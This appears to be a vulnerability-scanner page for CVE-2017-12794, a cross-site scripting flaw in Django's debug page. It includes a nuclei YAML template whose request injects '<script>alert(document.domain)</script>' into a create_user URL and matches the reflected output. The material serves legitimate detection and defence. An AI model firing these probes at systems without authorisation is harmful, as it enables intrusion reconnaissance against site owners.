Browse / CVEs / CVE-2017-12794
CVE-2017-12794· djangoproject / django· CWE-79
Django Debug Page - Cross-Site Scripting
Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to a patched version of Django or apply the necessary security patches provided by the Django project.
How to confirm it
Send: GET {{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2017-12794 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-12794
info:
name: Django Debug Page - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. We detected that right circumstances (DEBUG=True) are present to allow a cross-site scripting attack.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of Django or apply the necessary security patches provided by the Django project.
reference:
- https://twitter.com/sec715/status/1406779605055270914
- https://nvd.nist.gov/vuln/detail/CVE-2017-12794
- https://www.djangoproject.com/weblog/2017/sep/05/security-releases/
- http://web.archive.org/web/20211207172022/https://securitytracker.com/id/1039264
- http://www.securitytracker.com/id/1039264
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-12794
cwe-id: CWE-79
epss-score: 0.23566
epss-percentile: 0.9782
cpe: cpe:2.3:a:djangoproject:django:1.10.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: djangoproject
product: django
shodan-query: cpe:"cpe:2.3:a:djangoproject:django"
tags: cve2017,cve,xss,django,djangoproject,vuln
http:
- method: GET
path:
- "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://twitter.com/sec715/status/1406779605055270914
- https://nvd.nist.gov/vuln/detail/CVE-2017-12794
- https://www.djangoproject.com/weblog/2017/sep/05/security-releases/
- http://web.archive.org/web/20211207172022/https://securitytracker.com/id/1039264
- http://www.securitytracker.com/id/1039264
Use this check only on systems you are authorised to test. Where the data comes from